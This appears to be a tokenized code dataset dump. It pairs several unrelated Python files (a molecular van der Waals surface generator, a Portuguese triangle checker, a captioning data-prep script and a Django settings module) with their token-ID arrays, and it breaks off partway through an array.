3166,
29918,
1557,
24476,
726,
29898,
4993,
29918,
1557,
24476,
726,
29897,
13,
13,
4706,
565,
2752,
29918,
4906,
1275,
376,
1115,
13,
9651,
1583,
29889,
4294,
29918,
4906,
29918,
1884,
703,
27392,
613,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
4906,
29918,
1884,
29889,
28450,
29918,
17625,
29918,
27392,
29918,
3257,
29892,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
4906,
29918,
1884,
29889,
28450,
29918,
17625,
29918,
27392,
29918,
3051,
29897,
13,
13,
4706,
1683,
29901,
13,
9651,
1018,
29901,
13,
18884,
565,
3158,
1275,
376,
3977,
4641,
1115,
13,
462,
1678,
2731,
4901,
29918,
4906,
353,
24941,
5275,
29918,
20567,
2141,
3977,
4641,
29898,
4993,
29918,
4906,
29897,
13,
13,
18884,
25342,
3158,
1275,
376,
7099,
4641,
1115,
13,
462,
1678,
2731,
4901,
29918,
4906,
353,
24941,
5275,
29918,
20567,
2141,
7099,
4641,
29898,
4993,
29918,
4906,
29897,
13,
13,
18884,
1583,
29889,
3167,
29918,
4906,
29918,
265,
29918,
1557,
24476,
726,
29898,
7854,
4901,
29918,
1557,
24476,
726,
29892,
2731,
4901,
29918,
4906,
29897,
13,
18884,
2731,
4901,
29918,
1557,
24476,
726,
29889,
18037,
580,
13,
13,
9651,
5174,
8960,
408,
3682,
29901,
13,
18884,
1596,
29898,
11739,
29897,
13,
18884,
1583,
29889,
4294,
29918,
4906,
29918,
1884,
703,
2704,
613,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
4906,
29918,
1884,
29889,
5014,
29918,
2704,
29918,
3257,
29892,
1583,
29889,
29875,
29896,
29947,
29876,
29918,
4906,
29918,
1884,
29889,
5014,
29918,
2704,
29918,
3051,
29897,
13,
268,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
24941,
5275,
29918,
1456,
2057,
353,
315,
4641,
5275,
13454,
2057,
580,
13,
1678,
24941,
5275,
29918,
1456,
2057,
29889,
7165,
29889,
3396,
7888,
580,
2
] |
resp/vdw_surface.py | alenaizan/resp | 10 | 142533 | from __future__ import division, absolute_import, print_function
import numpy as np
"""
A sript to generate van der Waals surface of molecules.
"""
# Van der Waals radii (in angstrom) are taken from GAMESS.
vdw_r = {'H': 1.20, 'HE': 1.20,
'LI': 1.37, 'BE': 1.45, 'B': 1.45, 'C': 1.50,
'N': 1.50, 'O': 1.40, 'F': 1.35, 'NE': 1.30,
'NA': 1.57, 'MG': 1.36, 'AL': 1.24, 'SI': 1.17,
'P': 1.80, 'S': 1.75, 'CL': 1.70}
def surface(n):
"""Computes approximately n points on unit sphere. Code adapted from GAMESS.
Parameters
----------
n : int
approximate number of requested surface points
Returns
-------
ndarray
numpy array of xyz coordinates of surface points
"""
u = []
eps = 1e-10
nequat = int(np.sqrt(np.pi*n))
nvert = int(nequat/2)
nu = 0
for i in range(nvert+1):
fi = np.pi*i/nvert
z = np.cos(fi)
xy = np.sin(fi)
nhor = int(nequat*xy+eps)
if nhor < 1:
nhor = 1
for j in range(nhor):
fj = 2*np.pi*j/nhor
x = np.cos(fj)*xy
y = np.sin(fj)*xy
if nu >= n:
return np.array(u)
nu += 1
u.append([x, y, z])
return np.array(u)
def vdw_surface(coordinates, elements, scale_factor, density, input_radii):
"""Computes points outside the van der Waals surface of molecules.
Parameters
----------
coordinates : ndarray
cartesian coordinates of the nuclei, in units of angstrom
elements : list
The symbols (e.g. C, H) for the atoms
scale_factor : float
The points on the molecular surface are set at a distance of
scale_factor * vdw_radius away from each of the atoms.
density : float
The (approximate) number of points to generate per square angstrom
of surface area. 1.0 is the default recommended by Kollman & Singh.
input_radii : dict
dictionary of user's defined VDW radii
Returns
-------
radii : dict
A dictionary of scaled VDW radii
surface_points : ndarray
array of the coordinates of the points on the surface
"""
radii = {}
surface_points = []
# scale radii
for i in elements:
if i in radii.keys():
continue
if i in input_radii.keys():
radii[i] = input_radii[i] * scale_factor
elif i in vdw_r.keys():
radii[i] = vdw_r[i] * scale_factor
else:
raise KeyError('%s is not a supported element; ' %i
+ 'use the "VDW_RADII" option to add '
+ 'its van der Waals radius.')
# loop over atomic coordinates
for i in range(len(coordinates)):
# calculate approximate number of ESP grid points
n_points = int(density * 4.0 * np.pi* np.power(radii[elements[i]], 2))
# generate an array of n_points in a unit sphere around the atom
dots = surface(n_points)
# scale the unit sphere by the VDW radius and translate
dots = coordinates[i] + radii[elements[i]] * dots
for j in range(len(dots)):
save = True
for k in range(len(coordinates)):
if i == k:
continue
# exclude points within the scaled VDW radius of other atoms
d = np.linalg.norm(dots[j] - coordinates[k])
if d < radii[elements[k]]:
save = False
break
if save:
surface_points.append(dots[j])
return np.array(surface_points), radii
| [
1,
515,
4770,
29888,
9130,
1649,
1053,
8542,
29892,
8380,
29918,
5215,
29892,
1596,
29918,
2220,
13,
13,
5215,
12655,
408,
7442,
13,
13,
13,
15945,
29908,
13,
29909,
269,
374,
415,
304,
5706,
1109,
589,
22552,
1338,
7101,
310,
13206,
21337,
29889,
13,
15945,
29908,
13,
13,
29937,
6556,
589,
22552,
1338,
2971,
2236,
313,
262,
2614,
303,
456,
29897,
526,
4586,
515,
402,
25797,
1799,
29889,
13,
27491,
29893,
29918,
29878,
353,
11117,
29950,
2396,
29871,
29896,
29889,
29906,
29900,
29892,
525,
9606,
2396,
29871,
29896,
29889,
29906,
29900,
29892,
13,
308,
525,
5265,
2396,
29871,
29896,
29889,
29941,
29955,
29892,
525,
15349,
2396,
29871,
29896,
29889,
29946,
29945,
29892,
525,
29933,
2396,
29871,
29896,
29889,
29946,
29945,
29892,
525,
29907,
2396,
29871,
29896,
29889,
29945,
29900,
29892,
13,
308,
525,
29940,
2396,
29871,
29896,
29889,
29945,
29900,
29892,
525,
29949,
2396,
29871,
29896,
29889,
29946,
29900,
29892,
525,
29943,
2396,
29871,
29896,
29889,
29941,
29945,
29892,
525,
8186,
2396,
29871,
29896,
29889,
29941,
29900,
29892,
13,
308,
525,
3521,
2396,
29871,
29896,
29889,
29945,
29955,
29892,
525,
29924,
29954,
2396,
29871,
29896,
29889,
29941,
29953,
29892,
525,
1964,
2396,
29871,
29896,
29889,
29906,
29946,
29892,
525,
5425,
2396,
29871,
29896,
29889,
29896,
29955,
29892,
13,
308,
525,
29925,
2396,
29871,
29896,
29889,
29947,
29900,
29892,
525,
29903,
2396,
29871,
29896,
29889,
29955,
29945,
29892,
525,
6154,
2396,
29871,
29896,
29889,
29955,
29900,
29913,
13,
13,
1753,
7101,
29898,
29876,
1125,
13,
1678,
9995,
20606,
267,
14235,
302,
3291,
373,
5190,
20745,
29889,
5920,
23430,
515,
402,
25797,
1799,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
302,
584,
938,
13,
4706,
26368,
1353,
310,
13877,
7101,
3291,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
268,
299,
2378,
13,
4706,
12655,
1409,
310,
921,
12339,
10350,
310,
7101,
3291,
13,
1678,
9995,
13,
13,
1678,
318,
353,
5159,
13,
1678,
321,
567,
353,
29871,
29896,
29872,
29899,
29896,
29900,
13,
1678,
452,
339,
271,
353,
938,
29898,
9302,
29889,
3676,
29898,
9302,
29889,
1631,
29930,
29876,
876,
13,
1678,
302,
1765,
353,
938,
29898,
484,
339,
271,
29914,
29906,
29897,
13,
1678,
4948,
353,
29871,
29900,
13,
1678,
363,
474,
297,
3464,
29898,
29876,
1765,
29974,
29896,
1125,
13,
4706,
5713,
353,
7442,
29889,
1631,
29930,
29875,
29914,
29876,
1765,
13,
4706,
503,
353,
7442,
29889,
3944,
29898,
7241,
29897,
13,
4706,
921,
29891,
353,
7442,
29889,
5223,
29898,
7241,
29897,
13,
4706,
302,
2015,
353,
938,
29898,
484,
339,
271,
29930,
3594,
29974,
8961,
29897,
13,
4706,
565,
302,
2015,
529,
29871,
29896,
29901,
13,
9651,
302,
2015,
353,
29871,
29896,
13,
4706,
363,
432,
297,
3464,
29898,
29876,
2015,
1125,
13,
9651,
285,
29926,
353,
29871,
29906,
29930,
9302,
29889,
1631,
29930,
29926,
29914,
29876,
2015,
13,
9651,
921,
353,
7442,
29889,
3944,
29898,
29888,
29926,
11877,
3594,
13,
9651,
343,
353,
7442,
29889,
5223,
29898,
29888,
29926,
11877,
3594,
13,
9651,
565,
4948,
6736,
302,
29901,
13,
18884,
736,
7442,
29889,
2378,
29898,
29884,
29897,
13,
9651,
4948,
4619,
29871,
29896,
13,
9651,
318,
29889,
4397,
4197,
29916,
29892,
343,
29892,
503,
2314,
13,
1678,
736,
7442,
29889,
2378,
29898,
29884,
29897,
13,
13,
1753,
325,
28012,
29918,
7610,
2161,
29898,
1111,
24266,
29892,
3161,
29892,
6287,
29918,
19790,
29892,
9027,
29892,
1881,
29918,
3665,
2236,
1125,
13,
1678,
9995,
20606,
267,
3291,
5377,
278,
1109,
589,
22552,
1338,
7101,
310,
13206,
21337,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
10350,
584,
29871,
299,
2378,
13,
4706,
7774,
18970,
10350,
310,
278,
11205,
16301,
29892,
297,
10340,
310,
2614,
303,
456,
13,
1678,
3161,
584,
1051,
13,
4706,
450,
15072,
313,
29872,
29889,
29887,
29889,
315,
29892,
379,
29897,
363,
278,
28422,
13,
1678,
6287,
29918,
19790,
584,
5785,
13,
4706,
450,
3291,
373,
278,
13206,
16637,
7101,
526,
731,
472,
263,
5418,
310,
13,
4706,
6287,
29918,
19790,
334,
325,
28012,
29918,
13471,
3448,
515,
1269,
310,
278,
28422,
29889,
13,
1678,
9027,
584,
5785,
13,
4706,
450,
313,
9961,
2657,
403,
29897,
1353,
310,
3291,
304,
5706,
639,
6862,
2614,
303,
456,
13,
4706,
310,
7101,
4038,
29889,
29871,
29896,
29889,
29900,
338,
278,
2322,
13622,
491,
476,
3028,
1171,
669,
27017,
29889,
13,
1678,
1881,
29918,
3665,
2236,
584,
9657,
13,
4706,
8600,
310,
1404,
29915,
29879,
3342,
478,
29928,
29956,
2971,
2236,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
2971,
2236,
584,
9657,
13,
4706,
319,
8600,
310,
6287,
29881,
478,
29928,
29956,
2971,
2236,
13,
1678,
7101,
29918,
9748,
584,
29871,
299,
2378,
13,
4706,
1409,
310,
278,
10350,
310,
278,
3291,
373,
278,
7101,
13,
13,
1678,
9995,
13,
1678,
2971,
2236,
353,
6571,
13,
1678,
7101,
29918,
9748,
353,
5159,
13,
1678,
396,
6287,
2971,
2236,
13,
1678,
363,
474,
297,
3161,
29901,
13,
4706,
565,
474,
297,
2971,
2236,
29889,
8149,
7295,
13,
9651,
6773,
13,
4706,
565,
474,
297,
1881,
29918,
3665,
2236,
29889,
8149,
7295,
13,
9651,
2971,
2236,
29961,
29875,
29962,
353,
1881,
29918,
3665,
2236,
29961,
29875,
29962,
334,
6287,
29918,
19790,
13,
4706,
25342,
474,
297,
325,
28012,
29918,
29878,
29889,
8149,
7295,
13,
9651,
2971,
2236,
29961,
29875,
29962,
353,
325,
28012,
29918,
29878,
29961,
29875,
29962,
334,
6287,
29918,
19790,
13,
4706,
1683,
29901,
13,
9651,
12020,
7670,
2392,
877,
29995,
29879,
338,
451,
263,
6969,
1543,
29936,
525,
1273,
29875,
13,
462,
308,
718,
525,
1509,
278,
376,
10699,
29956,
29918,
29934,
3035,
2687,
29908,
2984,
304,
788,
525,
13,
462,
308,
718,
525,
1169,
1109,
589,
22552,
1338,
11855,
29889,
1495,
13,
1678,
396,
2425,
975,
23489,
10350,
13,
1678,
363,
474,
297,
3464,
29898,
2435,
29898,
1111,
24266,
22164,
13,
4706,
396,
8147,
26368,
1353,
310,
26480,
6856,
3291,
13,
4706,
302,
29918,
9748,
353,
938,
29898,
21518,
537,
334,
29871,
29946,
29889,
29900,
334,
7442,
29889,
1631,
29930,
7442,
29889,
13519,
29898,
3665,
2236,
29961,
17664,
29961,
29875,
20526,
29871,
29906,
876,
13,
4706,
396,
5706,
385,
1409,
310,
302,
29918,
9748,
297,
263,
5190,
20745,
2820,
278,
12301,
13,
4706,
270,
1862,
353,
7101,
29898,
29876,
29918,
9748,
29897,
13,
4706,
396,
6287,
278,
5190,
20745,
491,
278,
478,
29928,
29956,
11855,
322,
14240,
13,
4706,
270,
1862,
353,
10350,
29961,
29875,
29962,
718,
2971,
2236,
29961,
17664,
29961,
29875,
5262,
334,
270,
1862,
13,
4706,
363,
432,
297,
3464,
29898,
2435,
29898,
7778,
22164,
13,
9651,
4078,
353,
5852,
13,
9651,
363,
413,
297,
3464,
29898,
2435,
29898,
1111,
24266,
22164,
13,
18884,
565,
474,
1275,
413,
29901,
13,
462,
1678,
6773,
13,
18884,
396,
19060,
3291,
2629,
278,
6287,
29881,
478,
29928,
29956,
11855,
310,
916,
28422,
13,
18884,
270,
353,
7442,
29889,
29880,
979,
29887,
29889,
12324,
29898,
7778,
29961,
29926,
29962,
448,
10350,
29961,
29895,
2314,
13,
18884,
565,
270,
529,
2971,
2236,
29961,
17664,
29961,
29895,
5262,
29901,
13,
462,
1678,
4078,
353,
7700,
13,
462,
1678,
2867,
13,
9651,
565,
4078,
29901,
13,
18884,
7101,
29918,
9748,
29889,
4397,
29898,
7778,
29961,
29926,
2314,
13,
13,
1678,
736,
7442,
29889,
2378,
29898,
7610,
2161,
29918,
9748,
511,
2971,
2236,
13,
2
] |
exercicios-python/ex035.py | anavesilva/python-introduction | 0 | 199992 | # Analisando Triângulo v1.0
#a soma de dois lados é sempre menor que o terceiro lado.
print('-=-' * 10)
print('Analisador de triangulos')
print('-=-' * 10)
r1 = float(input('Primeiro segmento: '))
r2 = float(input('Segundo segmento: '))
r3 = float(input('Terceiro segmento: '))
soma12 = r1 + r2
soma13 = r1 + r3
soma23 = r2 +r3
if soma12 > r3 and soma13 > r2 and soma23 > r1:
print('Os segmentos acima podem formar um triângulo!')
else:
print('Os segmentos fornecidos acima NÃO podem formar um triângulo!')
| [
1,
396,
530,
5711,
1743,
8602,
30057,
865,
7207,
325,
29896,
29889,
29900,
13,
29937,
29874,
1047,
29874,
316,
19760,
301,
2255,
904,
14472,
26764,
712,
288,
1935,
346,
3350,
19931,
29889,
13,
2158,
877,
29899,
10457,
29915,
334,
29871,
29896,
29900,
29897,
13,
2158,
877,
2744,
5711,
3136,
316,
3367,
574,
19733,
1495,
13,
2158,
877,
29899,
10457,
29915,
334,
29871,
29896,
29900,
29897,
13,
29878,
29896,
353,
5785,
29898,
2080,
877,
4040,
603,
3350,
10768,
29877,
29901,
525,
876,
13,
29878,
29906,
353,
5785,
29898,
2080,
877,
17669,
6201,
10768,
29877,
29901,
525,
876,
13,
29878,
29941,
353,
5785,
29898,
2080,
877,
29911,
261,
346,
3350,
10768,
29877,
29901,
525,
876,
13,
29879,
4125,
29896,
29906,
353,
364,
29896,
718,
364,
29906,
13,
29879,
4125,
29896,
29941,
353,
364,
29896,
718,
364,
29941,
13,
29879,
4125,
29906,
29941,
353,
364,
29906,
718,
29878,
29941,
13,
361,
1047,
29874,
29896,
29906,
1405,
364,
29941,
322,
1047,
29874,
29896,
29941,
1405,
364,
29906,
322,
1047,
29874,
29906,
29941,
1405,
364,
29896,
29901,
13,
1678,
1596,
877,
24768,
10768,
359,
1274,
2946,
13279,
29885,
883,
279,
1922,
3367,
30057,
865,
7207,
29991,
1495,
13,
2870,
29901,
13,
1678,
1596,
877,
24768,
10768,
359,
363,
484,
29883,
4396,
1274,
2946,
405,
30179,
29949,
13279,
29885,
883,
279,
1922,
3367,
30057,
865,
7207,
29991,
1495,
13,
2
] |
create_input_files.py | FangxiangFeng/a-PyTorch-Tutorial-to-Image-Captioning | 0 | 165254 | from utils import create_input_files
if __name__ == '__main__':
# Create input files (along with word map)
create_input_files(dataset='aicc',
karpathy_json_path='/workspace/data/aicc_caption/dataset_aicc.json',
image_folder='/workspace/data/aicc_caption/images',
captions_per_image=5,
min_word_freq=5,
output_folder='/workspace/data/aicc_caption/',
max_len=50)
| [
1,
515,
3667,
29879,
1053,
1653,
29918,
2080,
29918,
5325,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
396,
6204,
1881,
2066,
313,
284,
549,
411,
1734,
2910,
29897,
13,
1678,
1653,
29918,
2080,
29918,
5325,
29898,
24713,
2433,
29874,
293,
29883,
742,
13,
462,
539,
10856,
2084,
29891,
29918,
3126,
29918,
2084,
2433,
29914,
1287,
3493,
29914,
1272,
29914,
29874,
293,
29883,
29918,
6671,
29914,
24713,
29918,
29874,
293,
29883,
29889,
3126,
742,
13,
462,
539,
1967,
29918,
12083,
2433,
29914,
1287,
3493,
29914,
1272,
29914,
29874,
293,
29883,
29918,
6671,
29914,
8346,
742,
13,
462,
539,
5777,
1980,
29918,
546,
29918,
3027,
29922,
29945,
29892,
13,
462,
539,
1375,
29918,
1742,
29918,
29888,
7971,
29922,
29945,
29892,
13,
462,
539,
1962,
29918,
12083,
2433,
29914,
1287,
3493,
29914,
1272,
29914,
29874,
293,
29883,
29918,
6671,
29914,
742,
13,
462,
539,
4236,
29918,
2435,
29922,
29945,
29900,
29897,
13,
2
] |
summers_api/settings.py | summerthe/summers_api | 0 | 1613741 | <gh_stars>0
"""
Django settings for summers_api project.
Generated by 'django-admin startproject' using Django 4.0.3.
For more information on this file, see
https://docs.djangoproject.com/en/4.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/4.0/ref/settings/
"""
import json
from pathlib import Path
from typing import Dict
import environ
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
env = environ.Env()
env.read_env(str(BASE_DIR / ".env"))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/4.0/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = env(
"DJANGO_SECRET_KEY",
default="<KEY>",
)
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = env.bool("DJANGO_DEBUG", False)
ALLOWED_HOSTS = env.list(
"DJANGO_ALLOWED_HOSTS", default=["localhost", "0.0.0.0", "127.0.0.1"]
)
# Application definition
DJANGO_APPS = [
"django.contrib.admin",
"django.contrib.auth",
"django.contrib.contenttypes",
"django.contrib.sessions",
"django.contrib.messages",
"django.contrib.staticfiles",
]
THIRD_PARTY_APPS = [
"rest_framework",
"rest_framework.authtoken",
"rest_framework_simplejwt",
"social_django",
"rest_social_auth",
"corsheaders",
]
LOCAL_APPS = [
"apps.users",
"apps.tube2drive",
"apps.news",
]
INSTALLED_APPS = DJANGO_APPS + THIRD_PARTY_APPS + LOCAL_APPS
MIDDLEWARE = [
"django.middleware.security.SecurityMiddleware",
"corsheaders.middleware.CorsMiddleware",
"django.contrib.sessions.middleware.SessionMiddleware",
"django.middleware.common.CommonMiddleware",
"django.middleware.csrf.CsrfViewMiddleware",
"django.contrib.auth.middleware.AuthenticationMiddleware",
"django.contrib.messages.middleware.MessageMiddleware",
"django.middleware.clickjacking.XFrameOptionsMiddleware",
]
AUTHENTICATION_BACKENDS = (
"social_core.backends.open_id.OpenIdAuth",
"social_core.backends.google.GoogleOAuth2",
"social_core.backends.google.GoogleOAuth",
"django.contrib.auth.backends.ModelBackend",
)
ROOT_URLCONF = "summers_api.urls"
TEMPLATES = [
{
"BACKEND": "django.template.backends.django.DjangoTemplates",
"DIRS": [],
"APP_DIRS": True,
"OPTIONS": {
"context_processors": [
"django.template.context_processors.debug",
"django.template.context_processors.request",
"django.contrib.auth.context_processors.auth",
"django.contrib.messages.context_processors.messages",
],
},
},
]
WSGI_APPLICATION = "summers_api.wsgi.application"
# Database
# https://docs.djangoproject.com/en/4.0/ref/settings/#databases
DATABASES = {
"default": env.db("DATABASE_URL", default="postgres:///summers_api"),
}
DATABASES["default"]["ATOMIC_REQUESTS"] = True
# Password validation
# https://docs.djangoproject.com/en/4.0/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
"NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator",
},
{
"NAME": "django.contrib.auth.password_validation.MinimumLengthValidator",
},
{
"NAME": "django.contrib.auth.password_validation.CommonPasswordValidator",
},
{
"NAME": "django.contrib.auth.password_validation.NumericPasswordValidator",
},
]
AUTH_USER_MODEL = "users.User"
# Internationalization
# https://docs.djangoproject.com/en/4.0/topics/i18n/
LANGUAGE_CODE = "en-us"
TIME_ZONE = "UTC"
USE_I18N = True
USE_TZ = True
# MEDIA
# ------------------------------------------------------------------------------
# https://docs.djangoproject.com/en/dev/ref/settings/#media-root
STATIC_URL = "/static/"
MEDIA_ROOT = str(BASE_DIR / "media")
# https://docs.djangoproject.com/en/dev/ref/settings/#media-url
MEDIA_URL = "/media/"
DEFAULT_FILE_STORAGE = "apps.common.storage.CustomFileStorage"
# Default primary key field type
# https://docs.djangoproject.com/en/4.0/ref/settings/#default-auto-field
DEFAULT_AUTO_FIELD = "django.db.models.BigAutoField"
# django-rest-framework
# -------------------------------------------------------------------------------
# django-rest-framework - https://www.django-rest-framework.org/api-guide/settings/
REST_FRAMEWORK = {
"DEFAULT_AUTHENTICATION_CLASSES": (
"rest_framework.authentication.TokenAuthentication",
"rest_framework_simplejwt.authentication.JWTAuthentication",
),
"DEFAULT_PERMISSION_CLASSES": ("rest_framework.permissions.IsAuthenticated",),
}
# django-cors-headers - https://github.com/adamchainz/django-cors-headers#setup
CORS_URLS_REGEX = r"^/api/.*$"
CORS_ALLOW_ALL_ORIGINS = True
# Imgur API
IMGUR_CLIENT_ID = env("IMGUR_CLIENT_ID")
IMGUR_UPLOAD_ENDPOINT = env("IMGUR_UPLOAD_ENDPOINT")
IMGUR_SUPPORTED_FORMAT = [
# image formats
"image/png",
"image/jpg",
"image/jpeg",
# video formats
"video/mp4",
"video/webm",
"video/x-matroska",
"video/quicktime",
"video/x-flv",
"video/x-msvideo",
"video/x-ms-wmv",
"video/mpeg",
]
# GCP
GCP_SERVICE_ACCOUNT_CONTENT: str = env("GCP_SERVICE_ACCOUNT_CONTENT")
GCP_SERVICE_ACCOUNT_JSON: Dict[str, str] = json.loads(GCP_SERVICE_ACCOUNT_CONTENT)
CURRENT_DOMAIN = env("CURRENT_DOMAIN")
# Social auth
# For google
# https://accounts.google.com/o/oauth2/v2/auth?
# scope=https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile&
# access_type=offline&
# include_granted_scopes=true&
# response_type=code&
# redirect_uri=redirect_uri&
# client_id=client_id
SOCIAL_AUTH_GOOGLE_OAUTH2_KEY = env("SOCIAL_AUTH_GOOGLE_OAUTH2_KEY")
SOCIAL_AUTH_GOOGLE_OAUTH2_SECRET = env("SOCIAL_AUTH_GOOGLE_OAUTH2_SECRET")
SOCIAL_AUTH_GOOGLE_OAUTH2_SCOPE = [
"https://www.googleapis.com/auth/userinfo.email",
"https://www.googleapis.com/auth/userinfo.profile",
]
OPENWEATHER_API_KEY = env("OPENWEATHER_API_KEY")
NEWSDATA_IO_API_KEY = env("NEWSDATA_IO_API_KEY")
DEFAULT_NEWS_IMAGE_URL = env("DEFAULT_NEWS_IMAGE_URL")
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
15945,
29908,
13,
29928,
5364,
6055,
363,
2533,
13269,
29918,
2754,
2060,
29889,
13,
24565,
491,
525,
14095,
29899,
6406,
1369,
4836,
29915,
773,
15337,
29871,
29946,
29889,
29900,
29889,
29941,
29889,
13,
2831,
901,
2472,
373,
445,
934,
29892,
1074,
13,
991,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
29946,
29889,
29900,
29914,
3332,
1199,
29914,
11027,
29914,
13,
2831,
278,
2989,
1051,
310,
6055,
322,
1009,
1819,
29892,
1074,
13,
991,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
29946,
29889,
29900,
29914,
999,
29914,
11027,
29914,
13,
15945,
29908,
13,
5215,
4390,
13,
3166,
2224,
1982,
1053,
10802,
13,
3166,
19229,
1053,
360,
919,
13,
13,
5215,
12471,
13,
13,
29937,
8878,
10898,
2768,
278,
2060,
763,
445,
29901,
350,
8127,
29918,
9464,
847,
525,
1491,
3972,
4286,
13,
25416,
29918,
9464,
353,
10802,
22168,
1445,
1649,
467,
17863,
2141,
3560,
29889,
3560,
13,
6272,
353,
12471,
29889,
21745,
580,
13,
6272,
29889,
949,
29918,
6272,
29898,
710,
29898,
25416,
29918,
9464,
847,
11393,
6272,
5783,
13,
13,
29937,
26141,
29899,
2962,
5849,
6055,
448,
443,
2146,
8270,
363,
5802,
13,
29937,
2823,
2045,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
29946,
29889,
29900,
29914,
3525,
517,
29914,
16519,
358,
29914,
3198,
1761,
29914,
13,
29937,
3725,
22484,
11937,
399,
25614,
29901,
3013,
278,
7035,
1820,
1304,
297,
5802,
7035,
29991,
13,
1660,
22245,
29911,
29918,
10818,
353,
8829,
29898,
13,
1678,
376,
29928,
29967,
2190,
17080,
29918,
1660,
22245,
29911,
29918,
10818,
613,
13,
1678,
2322,
543,
29966,
10818,
28341,
13,
29897,
13,
29937,
3725,
22484,
11937,
399,
25614,
29901,
1016,
29915,
29873,
1065,
411,
4744,
6077,
373,
297,
5802,
29991,
13,
18525,
353,
8829,
29889,
11227,
703,
29928,
29967,
2190,
17080,
29918,
18525,
613,
7700,
29897,
13,
1964,
27998,
3352,
29918,
20832,
29903,
353,
8829,
29889,
1761,
29898,
13,
1678,
376,
29928,
29967,
2190,
17080,
29918,
1964,
27998,
3352,
29918,
20832,
29903,
613,
2322,
29922,
3366,
7640,
613,
376,
29900,
29889,
29900,
29889,
29900,
29889,
29900,
613,
376,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
3108,
13,
29897,
13,
13,
29937,
8427,
5023,
13,
29928,
29967,
2190,
17080,
29918,
3301,
7024,
353,
518,
13,
1678,
376,
14095,
29889,
21570,
29889,
6406,
613,
13,
1678,
376,
14095,
29889,
21570,
29889,
5150,
613,
13,
1678,
376,
14095,
29889,
21570,
29889,
3051,
8768,
613,
13,
1678,
376,
14095,
29889,
21570,
29889,
29879,
10964,
613,
13,
1678,
376,
14095,
29889,
21570,
29889,
19158,
613,
13,
1678,
376,
14095,
29889,
21570,
29889,
7959,
5325,
613,
13,
29962,
13,
4690,
8193,
29928,
29918,
26092,
29979,
29918,
3301,
7024,
353,
518,
13,
1678,
376,
5060,
29918,
4468,
613,
13,
1678,
376,
5060,
29918,
4468,
29889,
1300,
400,
4476,
613,
13,
1678,
376,
5060,
29918,
4468,
29918,
12857,
29926,
14554,
613,
13,
1678,
376,
24911,
29918,
14095,
613,
13,
1678,
376,
5060,
29918,
24911,
29918,
5150,
613,
13,
1678,
376,
29883,
943,
13662,
613,
13,
29962,
13,
13,
16652,
1964,
29918,
3301,
7024,
353,
518,
13,
1678,
376,
13371,
29889,
7193,
613,
13,
1678,
376,
13371,
29889,
29873,
4003,
29906,
21594,
613,
13,
1678,
376,
13371,
29889,
15753,
613,
13,
29962,
13,
25580,
1964,
20566,
29918,
3301,
7024,
353,
23366,
2190,
17080,
29918,
3301,
7024,
718,
3446,
8193,
29928,
29918,
26092,
29979,
29918,
3301,
7024,
718,
11247,
29907,
1964,
29918,
3301,
7024,
13,
13,
29924,
1367,
29928,
1307,
12982,
1525,
353,
518,
13,
1678,
376,
14095,
29889,
17662,
2519,
29889,
8926,
29889,
13228,
25411,
2519,
613,
13,
1678,
376,
29883,
943,
13662,
29889,
17662,
2519,
29889,
29907,
943,
25411,
2519,
613,
13,
1678,
376,
14095,
29889,
21570,
29889,
29879,
10964,
29889,
17662,
2519,
29889,
7317,
25411,
2519,
613,
13,
1678,
376,
14095,
29889,
17662,
2519,
29889,
9435,
29889,
18877,
25411,
2519,
613,
13,
1678,
376,
14095,
29889,
17662,
2519,
29889,
2395,
9600,
29889,
29907,
29879,
9600,
1043,
25411,
2519,
613,
13,
1678,
376,
14095,
29889,
21570,
29889,
5150,
29889,
17662,
2519,
29889,
16746,
25411,
2519,
613,
13,
1678,
376,
14095,
29889,
21570,
29889,
19158,
29889,
17662,
2519,
29889,
3728,
25411,
2519,
613,
13,
1678,
376,
14095,
29889,
17662,
2519,
29889,
3808,
21452,
292,
29889,
29990,
4308,
5856,
25411,
2519,
613,
13,
29962,
13,
13,
20656,
29950,
3919,
28541,
29918,
29933,
11375,
1430,
8452,
353,
313,
13,
1678,
376,
24911,
29918,
3221,
29889,
1627,
1975,
29889,
3150,
29918,
333,
29889,
6585,
1204,
6444,
613,
13,
1678,
376,
24911,
29918,
3221,
29889,
1627,
1975,
29889,
3608,
29889,
14207,
29949,
6444,
29906,
613,
13,
1678,
376,
24911,
29918,
3221,
29889,
1627,
1975,
29889,
3608,
29889,
14207,
29949,
6444,
613,
13,
1678,
376,
14095,
29889,
21570,
29889,
5150,
29889,
1627,
1975,
29889,
3195,
5841,
355,
613,
13,
29897,
13,
13,
21289,
29918,
4219,
6007,
29943,
353,
376,
2083,
13269,
29918,
2754,
29889,
26045,
29908,
13,
4330,
3580,
29931,
1299,
2890,
353,
518,
13,
1678,
426,
13,
4706,
376,
29933,
11375,
11794,
1115,
376,
14095,
29889,
6886,
29889,
1627,
1975,
29889,
14095,
29889,
29928,
5364,
5776,
9884,
613,
13,
4706,
376,
9464,
29903,
1115,
19997,
13,
4706,
376,
20576,
29918,
9464,
29903,
1115,
5852,
29892,
13,
4706,
376,
14094,
27946,
1115,
426,
13,
9651,
376,
4703,
